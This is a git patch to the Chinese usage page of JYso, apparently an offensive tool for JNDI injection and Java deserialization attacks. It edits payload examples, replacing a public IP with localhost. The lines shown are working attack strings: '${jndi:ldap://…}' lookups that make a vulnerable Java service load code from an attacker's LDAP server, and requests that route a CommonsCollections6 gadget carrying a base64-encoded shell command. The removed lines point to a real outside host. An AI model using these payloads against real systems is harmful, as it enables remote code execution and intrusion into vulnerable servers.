From 7b4ee8b737ee084723ea3385ddecb440a286f752 Mon Sep 17 00:00:00 2001 From: =?UTF-8?q?=E7=82=81?= <75202638+qi4L@users.noreply.github.com> Date: Wed, 27 Dec 2023 12:54:29 +0800 Subject: [PATCH] =?UTF-8?q?Updated=20JYso=E2=80=90CN=20(markdown)?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- JYso‐CN.md | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/JYso‐CN.md b/JYso‐CN.md index f25a947..4ed6ead 100644 --- a/JYso‐CN.md +++ b/JYso‐CN.md @@ -37,7 +37,7 @@ java -jar JYso-[version].jar --jndi -i 127.0.0.1 -u "dc=ex" -p "123456" ${jndi:ldap://127.0.0.1:1389/Deserialization/CommonsCollections6/sethttp} ``` ```shell -http://111.229.10.212:3456/setPathAlias?a=whoami +http://127.0.0.1:3456/setPathAlias?a=whoami ``` ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230705100008.png) @@ -122,10 +122,10 @@ public class Main { + 对于路由完全不可控的情况下,从http处获取 ```shell -${jndi:ldap://111.229.10.212:1389/} +${jndi:ldap://127.0.0.1:1389/} ``` ```shell -http://111.229.10.212:3456/setRoute?a=Deserialization/CommonsCollections6/command/Base64/d2hvYW1p +http://127.0.0.1:3456/setRoute?a=Deserialization/CommonsCollections6/command/Base64/d2hvYW1p ``` ![](https://gallery-1304405887.cos.ap-nanjing.myqcloud.com/markdown%E5%BE%AE%E4%BF%A1%E6%88%AA%E5%9B%BE_20230706103914.png)